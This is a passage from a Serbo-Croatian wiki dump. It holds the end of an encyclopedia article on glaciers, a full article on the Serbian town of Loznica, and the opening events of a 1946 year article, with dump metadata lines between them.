postanu veća od veze između slojeva, slojevi se kreću različitim brzinama.<ref>Greve, R.; Blatter, H.,2009. "Dynamics of Ice Sheets and Glaciers"</ref> Slijedeća vrsta kretanja je temeljno klizanje. Ledenjak kliže po terenu na kojem je nastao, uz podmazivanje sa tekućom vodom. Kako se tlak povećava na temelje ledenjaka, točka topljenja se smanjuje, pa se led više topi. [[Trenje]] između leda i stijena stvara isto dodatnu toplinu, koja doprinosi većem topljenju leda. Ovaj način klizanja prevladava kod umjerenih ledenjaka, i klizanje je sve veće što je debljina ledenjaka veća. Klizanje je veće i ako je nagib terena veći.<ref>Hughes, T.: "West Antarctic ice streams. Reviews of Geophysics and Space Physics", 1977.</ref> [[Datoteka:Glaciereaston.jpg|mini|desno|300px|Opasan prelazak preko pukotine na ledenjaku Easton u SAD]] === Područje loma i pukotine === Gornjih 50 metara ledenjaka, koji je pod manjim pritiskom i koji je krući, obično se zove područje loma, i uglavnom se kreće kao jedno tijelo, iznad donjeg dijela, u kojem su više plastične deformacije, sa manje loma, tako da omogućuju cijelom ledenjaku da se kreće kao [[Viskoznost|viskozni]] [[fluid]]. Kako se ledenjak kreće niz padinu, tako i nagib padine oblikuje gornju površinu ledenjaka. Gornji dijelovi ledenjaka su više krti, pa se u tom području javljaju duboke pukotine. Pukotine su rijetko više od 45 metara, iako mogu biti i 300 metara duboke. Uzdužne pukotine prate kretanje ledenjaka, dok granične pukotine nastaju uz rubove ledenjaka, gdje su i brzine manje. Poprečne pukotine obično nastaju kada podloga ima stepenasti oblik, pa se donji dio ubrzava. Pukotine mogu prelazak učiniti vrlo opasnim. Meki snijeg može zatvoriti pukotine i napraviti sniježne mostove, tako da skrivaju opasnu pukotinu ispod sebe. Pukotine mogu stvoriti i jezerca unutar ledenjaka.<ref>[http://www.nasa.gov/vision/earth/lookingatearth/moulin-20061211.html] {{Webarchive|url=https://web.archive.org/web/20121104182135/http://www.nasa.gov/vision/earth/lookingatearth/moulin-20061211.html |date=2012-11-04 }} "Moulin 'Blanc'", [[NASA]]</ref> === Brzina === Brzina kretanja ledenjaka djelomično ovisi o trenju između leda i stijena, koje može usporiti donji dio. Kod alpskih ledenjaka, trenje stvara i bočne zidove, koji usporavaju središnji dio. Srednja brzina ledenjaka se dosta razlikuje. U nekim djelovima se može čak i zaustaviti, pa mogu narasti i drveće, kao što ima slučajeva na [[Aljaska|Aljasci]]. U nekim slučajevima, brzina može biti 20 do 30 metara u danu, kao što je kod ledenjaka Jakobshavn Isbræ na [[Grenland]]u, ili 2 do 3 metra dnevno, kao što je kod najvećeg ledenjaka na svijetu, Byrd na [[Antarktik]]u. Kod nekih ledenjaka se javlja razlika u brzini, vjerojatno ako podloga popusti, onda dođe do ubrzanja. Kod ledenjaka koji se kreću brže od 1 kilometar u godini, pojavljuju se ledenjački [[potres|zemljotresi]], koji mogu dostići snagu i do 6,1. Brojni ledenjaci na Grenlandu, izazivaju zemljotrese u srpnju, kolovozu i rujnu. Jedna studija je pokazala da se broj tih zemljotresa povećao od 1993. do 2005. [[Seizmički talas|Seizmički valovi]] se stvaraju kod ledenjačke rijeke Whillans na Antartici, velike i brze rijeke leda koja ulazi u more. Dvije erupcije seizmičkih valova se primjećuje svaki dan, tako da se može zaključiti da nastaju zbog morskih mijena. Oni se mogu snimiti čak i u [[Australija|Australiji]], na udaljenosti od 6 400&nbsp;km.<ref>[http://people.deas.harvard.edu/~vtsai/files/EkstromNettlesTsai_Science2006.pdf] {{Webarchive|url=https://web.archive.org/web/20081007062935/http://people.deas.harvard.edu/~vtsai/files/EkstromNettlesTsai_Science2006.pdf |date=2008-10-07 }} Ekström, G., M. Nettles, V. C. Tsai (2006)"Seasonality and Increasing Frequency of Greenland Glacial Earthquakes"</ref><ref>[http://people.deas.harvard.edu/~vtsai/files/TsaiEkstrom_JGR2007.pdf] {{Webarchive|url=https://web.archive.org/web/20081007050046/http://people.deas.harvard.edu/~vtsai/files/TsaiEkstrom_JGR2007.pdf |date=2008-10-07 }} Tsai, V. C., G. Ekström (2007). "Analysis of Glacial Earthquakes"</ref> === Ogive === Ogive su izmjenične tamne i svijetle trake leda, koje se primjećuju na uskim valovitim vrhovima i udubinama, na površini ledenjaka. One se javljaju ispod leda koji se kreće u raznim smjerovima. Vjeruje se da pojedine trake nastaju godišnje, zbog različite brzine leda i novog sloja snijega koji padne.<ref>Easterbrook D.J.: "Surface Processes and Landforms" 1999.</ref><ref>[http://pubs.usgs.gov/of/2004/1216/no/no.html Glossary of Glacier Terminology] "Glossary of Glacier Terminology"</ref> == Geografija == [[Datoteka:Black-Glacier.jpg|mini|desno|300px|Ledenjak sa crnim ledom blizu Aconcaguae, [[Argentina]]]] Ledenjaci se javljaju na svim kontinentima i u otprilike 47 država. Veliki ledenjaci se mogu naći na [[Antarktik]]u, [[Patagonija|Patagoniji]], [[Kanada|Kanadi]], [[Aljaska|Aljasci]], [[Grenland]]u i [[Island]]u. Planinski ledenjaci su prisutni na [[Ande|Andama]], [[Himalaja]]ma, [[Stjenovite planine|Stjenjaku]], [[Kavkaz (region)|Kavkazu]] i [[Alpe|Alpama]]. U Australiji danas nema ledenjaka, ali ih ima dosta na [[Tasmanija|Tasmaniji]]. [[Novi Zeland]] ima dosta ledenjaka, dok [[Nova Gvineja]] ima mali ledenjak, koji sve više nestaje.<ref>{JONI L., KINCAID KLEIN, ANDREW G.: [http://www.easternsnow.org/proceedings/2004/kincaid_and_klein.pdf] {{Webarchive|url=https://web.archive.org/web/20170517095529/http://www.easternsnow.org/proceedings/2004/kincaid_and_klein.pdf |date=2017-05-17 }} "Retreat of the Irian Jaya Glaciers from 2000 to 2002 as Measured from IKONOS Satellite Images" 2004.</ref> U [[Afrika|Africi]] je ledenjak na planini [[Kilimanjaro|Kilimandžaro]], na planini Kenija i planinskom lancu Ruwenzori. Neka područja na [[Arktik]]u, kao što su otoci Banks, te na [[Antarktik]]u, dolina McMurdo, se smatraju polarne pustinje, jer primaju izuzetno malo padalina snijega. Hladni zrak, za razliku od toplog, ne može nositi puno vode u sebi, pa i nema ledenjaka u tom području. Neke planine u [[Bolivija|Boliviji]], [[Čile]]u i [[Argentina|Argentini]] su visoke i hladne, ali nema dovoljno padalina da se stvori ledenjak, pogotovo zbog blizine pustinje [[Atacama]]. U [[Ekvador]]u, na vulkanu Cayambe, postoji sniježni pokrivač, ali zbog velikog pada, ne može se stvoriti ledenjak. == Ledenjačka geologija == Stijene i talog postaju dio ledenjaka kroz razne postupke, ali najviše kroz dva postupka: [[abrazija]] (brušenje) i čupanje. Kako se ledenjak kreće iznad stijena, on omekša i podigne blok stijene i nosi sa sobom. Dio vode uđe u stijenu i smrzne se, blok stijene ili manji komadi puknu, a kretanje ledenjaka ih povlači za sobom. Mali komadi stijena, koji se smrznu u ledenjaku, djeluju kao sitan pijesak u brusnom papiru. Kako se ledenjak kreće, mali komadi stijena u ledu, bruse i usitnjavanju stijenu na podlozi, stvarajući “kameno brašno”, koje može biti veličine 0,002 do 0,006&nbsp;mm. Ponekad je količina kamenog brašna vrlo velika, pa voda koja se topi bude sive boje. [[Datoteka:Arranque glaciar-lnf.svg|mini|desno|300px|Prikaz čupanja i abrazije (brušenja) stijena ispod ledenjaka<br />1. čupanje<br />2. tok leda<br />3. abrazija (brušenje)]] U alpskim krajevima, erozija stijena dovodi do stepenastog izgleda stijena. Ponekad se na stijenama vide žljebovi, ako ledenjak struže sa blokom stijene. Ako se prate žljebovi na stijenama, može se zaključiti kako se ledenjak nekad kretao. Stupanj erozije ovisi o dosta faktora, ali uglavnog 6 ih je najznačajnijih: * brzina kretanja ledenjaka * debljina leda * oblik, brojnost i tvrdoća komadića stijena u ledu, na dnu ledenjaka * mekoća ili tvrdoća stijene po kojoj ledenjak je klizio * toplinski uvjeti na dnu ledenjaka (podmazivanje) * popustljivost i pritisak vode na podlogu stijena Materijal koji je postao sastavni dio ledenjaka je odnesen sa ledenjakom, otprilke kao i područje odnošenja u ledenjaku. Ledenjački nanos je uglavnom dvije vrste: [[Datoteka:MorainesLakeLouise.JPG|mini|desno|300px|Ledenjačka morena iznad jezera Louise, u [[Kanada|Kanadi]]]] * ledenjačka oranica: materijal je direktno nanesen sa ledom. Oranica uključuje mješavinu različitih veličina materijala, od kamenih blokova do gline, i tipična je za morena * riječni nanos; nanosi su položeni vodom i oni su slojeviti, pa su različite veličine razvrstane po slojevima. Veliki komadi stijena koji su zaglavljeni u nanos materijala, obično ze zovu “ledenjačkim lutalicama” i ponekad su korisni da se otkrije odakle je ledenjak došao. === Morena === Ledenjačka [[morena]] su stvorena nanosom materijala iz ledenjaka, koji se povukao. To se obično vidi po linijskim nasipima, mješavini stijena, šljunka i prašine. Po graničnim nasipima može se zaključiti veličina bivšeg ledenjaka. Prema brazdama se može zaključiti smjer kretanja ledenjaka. === Mali grebeni === Mali grebeni su nesimetrična brdašca u obliku čamca, aerodinamičkog oblika, koji su nastali iz ledenjačkih brazdi. Mogu biti 15 do 50 metara visoki, a dugi i do jednog kilometra. Ponekad se mogu naći i velika polja sa malim grebenima. Vjeruje se da su nastali od velikih ledenjaka, gdje je pod velikim pritiskom došlo do plastičnog tećenja materijala. [[Datoteka:Glacial Tarn Formation EN.svg|mini|desno|300px|Stvaranje [[cirk]]a]] === Ledenjačke doline === Prije stvaranja ledenjaka, doline imaju obično V oblik, stvoren erozijom vode prema dolje. Nakon pojave ledenjaka, te doline se proširuju, oblikujući U oblik. Osim toga, doline postaju dosta ravnije zbog erozije. Kod nekih dolina, dolazi do produbljivanja tla, pa se stvaraju mala [[glacijalno jezero|ledenjačka jezera]]. Veliko udubljenje u dolini, koje stvori ledenjak, se naziva [[cirk]]. Ima zdjelast oblik, sa strminama na tri strane doline i jedan dio otvoren, gdje se ledenjak spuštao. Ukoliko su bila dva cirka, između njih nastaje obično planinski prijevoj. Ledenjaci su isto stvorili [[fjord]]ove, sa dubokim uvalama ili izlazima ledenjaka. === Piramidalni vrh === Ravne kreste sa oštrim krajevima se zovu prijevoji. Sudarom 3 ili više prijevoja nastali su piramidalni vrhovi ili sa oštrim nagibom se nazivaju '''rogovi'''. === Aluvijalna slojevitost === Voda koja je nastajala iz ledenjaka, odnosila je erozivni material ponekad vrlo daleko. To je nanošenje materijala bilo slojevito, tako da je najsitniji material bio na kraju. Tako su nastale '''aluvijalne doline'''. Za njih su karakteristični i '''kotlovi''', male udubine nastale uslijed kamenih blokova, koji su zaglavili. Oni mogu biti duboki i do 45 m.<ref>"Kettle geology" [http://www.britannica.com/EBchecked/topic/315739/kettle] 2009.</ref> === Nanosi u dodiru sa ledom === Kada se ledenjak na krajevima smanjio, njegov tok je stao. U isto vrijeme, otopljena voda je nastavila teći, pa je ponekad na tim mjestima ostavila stupove, terase ili nakupine. Ta vrsta nanosa se zove nanos u dodiru sa ledom. === Nanošenje lesa ili prapora === Sitni nanosi ili '''kameno brašno''' je često vjetar raznosio na velike udaljenosti. Ponekad taj eolski [[les]] ili prapor može biti vrlo dubok, čak i stotinjak metara. [[Datoteka:Stillaguamish River 18434.JPG|mini|desno|300px|Ledenjačka dolina na planini Baker, [[Sjedinjene Američke Države|SAD]], pokazuje karakterističan U oblik]] === Izostatični odskok === Rast dijelova prijevoja se javlja zbog izostatičke ravnoteže. Velika masa, kao što je ledenjak, tlači Zemljinu koru i razmiče dio Zemljinog plašta ispod. Uleknuće iznosi oko 1/3 debljine leda. Nakon što se ledenjak otopi, [[Mantl|Zemljin plašt]] se vraća u početni položaj, gurajući Zemljinu koru prema gore. Taj odskok nakon topljenja ledenjaka se trenutno mjerljivo javlja u [[Skandinavija|Skandinaviji]] i u području [[Velika jezera|Velikih jezera]]. == Ledenjaci na Marsu == Velika ledena polarna ledena kapa na [[Mars]]u, pokazuje neka ledenjačka svojstva. Posebno južna polarna kapa pokazuje ta svojstva. Marsevi ledenjaci nastaju zbog tanke atmosfere Marsa. Zbog vrlo niskog atmosferskog pritiska, odnošenje materijala se dešava više zbog [[sublimacija|sublimacije]], ne topljenja. Pretpostavlja se da su ledenjaci, slično kao na Zemlji, pokriveni sa slojevima stijenja, koji izoliraju led ispod.<ref>[http://www.esa.int/SPECIALS/Mars_Express/SEMS3PMZCIE_0.html] ''Martian glaciers: did they originate from the atmosphere?'', ESA Mars Express, 2006.</ref><ref>Head, J. 2005. "Tropical to mid-latitude snow and ice accumulation, flow and glaciation on Mars" Nature</ref><ref>[http://www.marstoday.com/news/viewpr.html?pid=18050]</ref><ref>{{Cite web |title=Archive copy |url=http://news.brown.edu/pressreleases/2008/04/martian-glaciers |access-date=2012-12-06 |archive-date=2013-10-12 |archive-url=https://web.archive.org/web/20131012034101/http://news.brown.edu/pressreleases/2008/04/martian-glaciers }}</ref><ref>Plaut, J., 2008. "Radar Evidence for Ice in Lobate Debris Aprons in the Mid-Northern Latitudes of Mars"</ref><ref>Holt, J.,2008. "Radar Sounding Evidence for Ice within Lobate Debris Aprons near Hellas Basin, Mid-Southern Latitudes of Mars" Lunar and Planetary Science XXXIX. 2441.pdf</ref> == Zanimljivosti == === Najduži ledenjaci na svijetu === [[Datoteka:Mars north pole.jpg|mini|desno|300px|Ledana kapa na sjevernom polu na Marsu]] * ''Lambert'', [[Australija|Australski]] teritorij na [[Antarktik|Anktartici]], dužina: 402&nbsp;km, širina: do 64&nbsp;km * ''Peterman'', sjeverni Grenland, Dužina 200&nbsp;km * ''Beardmore'', [[Novi Zeland|Novozelandski]] teritorij na Antarktici, dužina: 200&nbsp;km * ''Hispar-Biafo'', gorje Karakorum u [[Pakistan]]u, dužina: 120&nbsp;km, širina: do 3,2&nbsp;km * ''Hubbard'', gorje St. Elias na [[Aljaska|Aljasci]], [[Sjedinjene Američke Države|SAD]], dužina: 114&nbsp;km * ''Humboldt'', Grenland, dužina 114&nbsp;km, širina: 95&nbsp;km pri kraju ledenjaka * ''Koettlitz'', gorje Royal Society na Novozelandskom teritoriju na Antarktici, dužina: 85&nbsp;km, širina oko 13&nbsp;km pri kraju ledenjaka === Najpoznatiji svjetski ledenjaci === * [[Ledenjak Aletsch]], Švicarska * [[Ledenjak Mer de Glace]], Francuska * [[Ledenjak Morteratsch]], Švicarska * [[Ledenjak Gangotri]], Indija * [[Ledenjak Franz Josef]], Novi Zeland * [[Ledenjak Boulder]], Sjedinjene Američke Države * [[Ledenjak Grinnell]], Sjedinjene Američke Države * [[Ledenjak Furtwängler]], Tanzanija * [[Ledenjak Jakobshavn]], Grenland * [[Ledeni greben Larsen]], Antarktika == Reference == {{izvori}} == Vanjske veze == {{Commonscat|Glaciers}} * [http://www.nsidc.org/glaciers/ National Snow and Ice Data Center - Glaciers] {{Webarchive|url=https://web.archive.org/web/20070116012217/http://nsidc.org/glaciers/ |date=2007-01-16 }} * [http://www.glaciers.er.usgs.gov/ USGS Glacier Studies Project] {{Webarchive|url=https://web.archive.org/web/20070113115950/http://www.glaciers.er.usgs.gov/ |date=2007-01-13 }} * [http://vulcan.wr.usgs.gov/Glossary/Glaciers/description_glaciers_hazards.html Glaciers and Glacial Hazards - USGS] * [http://www.nps.gov/kefj/index.htm#Kenai Fjords National Park, Alaska] * [http://www.pbs.org/wgbh/nova/sciencenow/3210/03.html NOVA scienceNOW] - sedmominutni video o najbržem ledenjaku na svijetu i zašto se pomiče prebrzo [[Kategorija:Ledenjaci| ]] [[Kategorija:Glaciologija]] [[Kategorija:Geomorfologija]] jyk5vb7f2jbznoqf5oa48fc629mw7gf 0 12098 42602696 42590580 2026-05-28T08:16:38Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602696 wikitext text/x-wiki {{For|grad u Bugarskoj|Loznica (Bugarska)}} {{Otheruses}} {{Naseljeno mesto u Srbiji |mesto=Grad Loznica |slika=Loznicapanoramaf.jpg |opis_slike=Panorama Loznice |okrug=Mačvanski |opština=Loznica |geografska_širina=44° 32′ 03" SGŠ |geografska_dužina=19° 13′ 27" IGD |nadm visina=142 |populacija=84 925 |poštanski kod=15300<br />15301 |pozivni broj=015 |registarska oznaka=LO |gšir=44.533833 |gduž=19.221166 }} '''Loznica''' je grad i sedište istoimene [[opština Loznica|opštine]] u [[Mačvanski okrug|Mačvanskom okrugu]] u zapadnoj [[Srbija|Srbiji]].Prema popisu iz [[2002]].sam grad ili uža urbana zona je imala oko 19.000 stanovnika.Prema istom popisu,sa svojim prigradskim naseljima ili periferijama koje su ruralno-urbanog karaktera i čine naselja [[Klupci]],[[Lozničko Polje]],[[Krajišnici]],Lipnički Šor,Baščeluci i Runjani grad je imao oko 40.000 stanovnika.Kao celina koja se do skoro zvala opština,Grad Loznica (opština) je 2002 godine imala 86.413 stanovnika,te kao takav predstavlja najveći grad čitavog Podrinja,i značajan regionalni centar.Banja Koviljača se nalazi na samo 6 kilometara od Loznice i odvojena je posedom i ostacima ugašenog,nekada industrijskog giganta fabrike Viskoza u kojoj je nekada radilo preko 10.000 ljudi.Prema popisu iz 2011 godine, Grad Loznica (opština) je imala 84.925 stanovnika,a samo gradsko jezgro činilo 19.572 stanovnika.2016 godine je uža zona grada imala oko 21.000 stanovnika dok je broj stanovnika kao opštine ili po novom statusu grada Loznice sa svoja 54 naselja već 2018 godine nezvanično pao ispod 75.000 stanovnika i ubrzano se smanjuje kao rezultat niskog nataliteta praćenog visokim mortalitetom brojnog i starijeg stanovništva Loznice kao i odliva mlađeg dela populacije sa područja grada.Poređenja radi,isti broj stanovnika Loznica je imala oko 1965 godine.Izmenama i dopunama zakona o teritorijalnoj organizaciji Republike Srbije 2018 godine,Loznica je dobila status grada tako da Srbija danas zvanično ima 28 gradova sa statusom grada dok Beograd ima poseban status. == Geografske odlike Loznice == Grad se nalazi u Podrinju u Zapadnoj Srbiji na 142 metra nadmorske visine,u podnožju [[planine Gučevo čiji je vrh sa 779 metara nadmorske visine vazdušnom linijomo udaljen samo 6 kilometara od centra Loznice]].Kroz sam grad protiču reka Štira i Zlatni potok a nedaleko i reka Jadar po kojoj je okolina Loznice i dobila ime-Jadarski kraj.Reka Štira se takođe uliva u reku Drinu koja je udaljena 4 kilometra od centra grada.Drumom od Beograda Loznica je udaljena 139&nbsp;km,136&nbsp;km od Novog Sada,75&nbsp;km od Valjeva,53&nbsp;km od Šapca i 6&nbsp;km od Banje Koviljače.Na reci Drini nedaleko od grada je i granični prelaz koji mostom spaja Srbiju sa Republikom Srpskom i Bosnom.Takoođe ima i 6&nbsp;km do etno sela Tršić odakle je i Vuk Stefanović-Karadžić,poznati filolog,pisac i reformator srpskog jezika i ćirilice.Na udaljenosti od 17&nbsp;km od Loznice se nalazi i Manastir Tronoša podignut 1317. godine kao zadužbina Kraljice Katarine žene srpskog Kralja Dragutina.Geografski gledano,Loznica se nalazi na veoma lepom mestu jer obiluje i planinama i brdima i ravnicama.I sve to uz reku Drinu i plodni Jadar. == Istorija Loznice == O naseljenosti ovog kraja, još od praistorije, svedoče mnogi arheološki nalazi. Od oko 900. do 300. godine stare ere, ovu oblast naseljavali su [[Iliri]]. Najstarije naselje Ad Drinum potiče iz rimskog doba. Naselje na mestu današnje Loznice prvi put se pominje u povelji kralja Milutina s početka [[14. vek]]a, a kao palanka već [[1717.]] godine. Ime je verovatno došlo od reči lozica zbog velikog broja [[vinograda]] koji su se pružali po okolnim brdima.Kao grad naselje Loznica formiralo se [[1834.]] godine, godinu dana posle pripajanja [[Kneževina Srbija|Kneževine Srbiji]].Pored muške osnovne škole koja s prekidima radi od [[1795.]] godine, [[1858.]] godine dobija i žensku,a nepotpunu Gimnaziju [[1871.]] godine.Već [[1888.]] godine Loznica ima novčani zavod,štedionicu,sud,bolnicu. Tokom[[Prvi svetski rat|Prvog svetskog rata]], od [[16. avgust|16.]] do [[20. avgusta]] [[1914.]] nadomak Loznice je vođena [[Cerska bitka]], u kojoj je srpska vojska porazila [[Austrougarska|austro-ugarsku]].Druga bitka u ovom kraju u Prvom svetskom ratu kraju bila bitka na Mačkovom kamenu, od [[18. septembra|18.]] do [[23. septembra]] 1914. [[Kolubarska bitka]], treća bitka u ovom kraju je započela austro-ugarskom ofanzivom 6. oktobra 1914. opštim napadom na Drugu armiju koja je držala položaje u donjem Jadru i [[Mačva|Mačvi]]. U bitkama na [[Gučevo|Gučevu]] i [[Drina|Drini]] posle velikih gubitaka srpska vojska se povukla na Kolubaru. Loznica je oslobođena [[2. novembra]] [[1918.]] godine. Stvaranjem [[Kraljevina SHS|Kraljevine SHS]] iz osnova se promenio položaj Jadra. Od pograničnog kraja postao je srez duboko u unutrašnjosti nove države. Miran život stanovnika Loznice prekinuo je [[Drugi svetski rat]].Oktobra [[1941.]] okupatori su u selu Dragincu u znak odmazde streljali 2.960 ljudi, žena i dece.Loznica je oslobođena [[23. septembra]] [[1944.]] godine.Posle oslobođenja 1944.god. Loznica je imala oko 3.000 stanovnika. Prema popisu iz [[1991]]. godine kada je broj stanovnika bio na vrhuncu u Lozničkoj opštini je u 54 naseljena mesta živelo 87.658 stanovnika.Sam grad te godine imao je 18.826 stanovnika a sa prigradskim naseljima Klupcima, Krajišnicima i Lozničkim poljem nepunih 34.000. Loznica je za vreme proteklih ratova na prostoru bivše [[Jugoslavija|Jugoslavije]] bila tranzitna stanica i utočište izbeglim i unesrećenim ljudima.Negde oko 70.000 ljudi je prošlo kroz ovaj grad, veliki broj njih je dobio pomoć i bio zbrinut.I danas veliki broj izbeglih i raseljenih lica živi na području opštine,tj. Grada Loznice. == Kultura == Svedoci prošlih vremena su Crkva Pokrova Bogorodice u Loznici,[[Manastir]] Tronoša,Manastir Čokešina,spomenici na Gučevu,u Tekerišu,Dragincu,kao i [[etno selo]] [[Tršić]]. Postoji narodna epska pesma „Boj na Loznici“.U njoj je centralni lik loznički Vojvoda iz Prvog srpskog ustanka Anta Bogićević.Njegov grob se nalazi uz lozničku Crkvu. Loznica je rodno mjesto [[Mićo Popović|Miće Popovića]],i u gradu postoji istoimena galerija.U njoj se također rodio [[Jovan Cvijić]]. U [[Tršić]]u, nedaleko od Loznice je rođen [[Vuk Stefanović Karadžić]],a blizu je manastir Tronoša,mesto ranog Vukovog školovanja. Loznica ima svoj fudbalski klub koji se zove FK "Loznica"kao i futsal klub KMF Loznica.Ima i KK "Loznica", RK "Loznica", OK "Loznica" i BK "Loznica". Osnovna kulturna manifesticija opštine Loznica predstavlja tradicionalni Vukov sabor u Tršiću. Sabor se održava svake godine u septembru, u nedelju pred Malu Gospojinu (21. septembra) u znak sećanja na Vuka Karadžića - velikana naše kulture.To je najveća manifestacija u Srbiji, po svom značaju i po masovnosti (okuplja 20.000-30.000 posetilaca).U Loznici se održava i Republičko takmičenje iz srpskog jezika. U opštini Loznica nalazi se 15 osnovnih škola sa izdvojenim odeljenjima i 4 srednje škole.U osnovnim školama se po podacima iz 2002 godine školovalo oko 9.000 osnovaca, a u srednjim oko 4.500 srednjoškolaca.Danas je taj broj daleko manji.Osnovne škole u samom centru grada su:OŠ "Anta Bogićević",OŠ "Jovan Cvijić",OŠ "Vuk Karadžić,OŠ "Kadinjača". Loznica je poznata i po tome što je prvi grad u Evropi koji je oslobođen od nacista,31 avgusta 1942 godine.Oslobodili su ga ustanici pod komandom potpukovnika Vojske Kraljevine Jugoslavije,Veselina Misite koji je tog dana i poginuo u samom centru za slobodu grada.Zatim,iz sela Trbušnice tik uz Loznicu je i Momčilo Gavrić koji je sa 8 godina verovatno bio najmlađi vojnik u Prvom Svetskom Ratu i to sa činom kaplara. [[Grad pobratim]] je [[Plock]] u [[Poljska|Poljskoj]]. Svake godine političari i diplomate iz Loznice idu u taj grad. Drugi grad pobratim je [[Ivanić Grad]] u Hrvatskoj,mada su veze dosta slabe. [[Datoteka:Dron Loznica.jpg|alt=Dron|mini|Loznica]] == Značajne osobe == * Vuk Stefanović Karadžić-poznati reformator srpskog jezika i ćirilice,pisac,lingvista,filolog * Anta Bogićević,srpski vojvoda * Mića Popović -akademik, slikar, pisac, režiser * Pop Vlada Zečević-pop,član Vrhovnog štaba,političar,ministar unutrašnjih poslova FNRJ * Dragan Mićanović -poznati glumac * Jovan Cvijić-poznati srpski geograf i naučnik * Dragan Kojić - "Keba" , poznati pevač narodne muzike * Zoran Starčević-gitarista i kompozitor * Milinko Pantić-bivši profesionalni fudbaler * Dragan Pantelić-bivši profesionalni fudbaler * Vladimir Cvetković-poznati bivši košarkaš i dugogodišnji direktor FK Crvena Zvezda * Nenad Borovčanin-profesionalni bokser,šampion Evrope,političar * Dragan Vasiljević- Durunga,bivsi bokser,šampion Jugoslavije i nosilac Evropske bronze * Ivan Jovanović-poznati fudbalski trener * Momčilo Gavrić-sa činom kaplara jedan od najmlađih vojnika u Prvom svetskom ratu * Milan Aranđelović - "Raki", poznati fizioterapeut i maser fudbalske reprezentacije Jugoslavije * Milutin Popović Zahar-poznati kompozitor i violinista * Milorad Zebić-Guverner narodne Banke Kraljevine Srbije * Jovan Zebić-srpski političar i ekonomista * Akademik Svetislav Božić, kompozitor * Aleksandra Crvendakić, košarkaška reprezentativka * Tina Jovanović, košarkaška reprezentativka * Vladimir Stojković, profesionalni fudbaler * Sinan Sakić, poznati pevač narodne muzike * Miloš Vujanić, bivši profesionalni košarkaš * Kosa Stojković-Nikolić, bivša atletičarka * Miroslav "Mile" Milanović, poznati fudbalski trener * Andrea Mijailović, rukometašica * Luka Jović, poznati fudbaler Crvene Zvezde rođen u Loznici * Nemanja Miletic,poznati fudbaler Partizana * Milenko Panić - "Tvigi", fudbalski žongler * Zlatko Junuzović-profesionalni fudbaler * dr Milan Isaković-poznati ginekolog i narodni poslanik rodjen u Donjem Dobricu * Maja Marković pevačica grupe Luna-živela u Loznici * Aleksandar Saša Petrović-poznati evropski i srpski reditelj,roditelji iz Banje Koviljače * Marko Janjić-glumac * Ivan Milinković,bivši pevač grupe Legende == Vanjske veze == {{portal|Srbija}} {{commonscat|Loznica}} * [http://www.loznica.rs/ Opština Loznica] {{Webarchive|url=https://archive.today/20120905091010/http://www.loznica.rs/ |date=2012-09-05 }} * [http://www.gradloznica.com/‎ Loznica - naš grad] {{Webarchive|url=https://web.archive.org/web/20160314133324/http://www.gradloznica.com/%E2%80%8E |date=2016-03-14 }} *[https://www.Infolo.rs Loznica Info]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://www.lotel.rs/ Lotel televizija] * [http://www.glaspodrinja.rs/ Glas Podrinja] * [http://www.loznica-gas.rs/ Loznica Gas] * [http://www.bolnicaloznica.rs/ Opšta bolnica Loznica] {{Webarchive|url=https://web.archive.org/web/20130804024711/http://www.bolnicaloznica.rs/ |date=2013-08-04 }} * [http://www.dzloznica.co.rs/ Dom zdravlja Loznica] {{Webarchive|url=https://web.archive.org/web/20131024203718/http://dzloznica.co.rs/ |date=2013-10-24 }} * [http://www.tehnologijahrane.com/ A.D. “Mlekara” Loznica] * [http://www.takmicenjeharmonikasa.com/ Međunarodno Takmičenje Harmonikaša - Loznica] {{Webarchive|url=https://web.archive.org/web/20130721015628/http://takmicenjeharmonikasa.com/ |date=2013-07-21 }} * [http://www.graf.co.rs/ GRAF Loznica] * [http://www.eling.rs/ Eling Loznica] {{Gradovi u Srbiji}} {{Normativna kontrola}} [[Kategorija:Loznica| ]] [[Kategorija:Gradovi u Srbiji]] [[Kategorija:Opština Loznica]] eeykkedmjwi1sw97lpj566mpnngy5ok 0 14319 42602606 42551604 2026-05-27T20:45:44Z Alekol 2231 /* Događaji */ 42602606 wikitext text/x-wiki {{godina nav}} {{Godina u drugim kalendarima|1946}} __NOTOC__ Godina '''1946''' ('''[[Rimski brojevi|MCMXLVI]]''') bila je [[redovna godina koja počinje u utorak]]. == Događaji == === Januar/Siječanj === * [[1. 1.]] - Japanski car [[Hirohito, car Shōwa|Hirohito]] objavljuje reskriptom da nije božanskog porekla i da Japanci nisu viša rasa (ili je to zapadno tumačenje dokumenta). * [[2. 1.]] - U nemogućnosti da nastavi svoju vladu nad [[Albanija|Albanijom]] posle [[Drugi svetski rat|Drugog svetskog rata]], [[Zog od Albanije|Kralj Zog]] je abdicirao, ali je zadržavo svoje pravo na [[Kralj Albanije|tron]]. * [[3. 1.]] - [[Monnetov plan]]: u Francuskoj osnovana Generalna planska komisija na čelu sa [[Jean Monnet|Jeanom Monnetom]] za poticaj ekonomskom oporavku. * [[4. 1.]] - [[Regalije Svetog rimskog carstva]] vraćene u Beč. * [[7. 1.]] - Zapadne sile su priznale [[Austrija|Austriju]] u granicama iz [[1937]]. * [[10. 1.]] - [[Projekat Diana]] - [[radar]]ski zraci odbijeni od [[Mesec]]a nazad na Zemlju, čime je izmerena njihova razdaljina i dokazana mogućnost komunikacije u svemiru. * 10. 1. - U Londonu održano prvo zasedanje [[Generalna skupština Ujedinjenih naroda|Generalne skupštine Ujedinjenih naroda]], sa predstavnicima 51 nacije. Za prvog predsednika izabran [[Paul-Henri Spaak]] (u oktobru prelaze u Njujork). [[Datoteka:State Emblem of the People's Republic of Albania.svg|mini|70px|left|Amblem NR Albanije]] * [[11. 1.]] - Ustavotvorna skupština u [[Tirana|Tirani]] je proglasila [[Narodna Republika Albanija|Narodnu Republiku Albaniju]] (Socijalistička Republika 1976-92), lider je [[Enver Hoxha]], do smrti 1985. * 11. 1. - Vojni udar na [[Haiti]]ju, nakon štrajkova i nemira: mulatski predsednik [[Élie Lescot]] beži iz zemlje, vlast uzima Vojno izvršno veće ([[Franck Lavaud|Lavaud]], [[Dumarsais Estimé|Estimé]], [[Paul Magloire|Magloire]]). * [[12. 1.]] - Sovjeti u Bugarskoj ne uspevaju da ubede [[Nikola Petkov|Nikolu Petkova]] i Kostu Lulčeva da se vrate u vladu [[Otadžbinski front (Bugarska)|Otadžbinskog fronta]]. * [[13. 1.]] - [[Kineski građanski rat]]: postignut 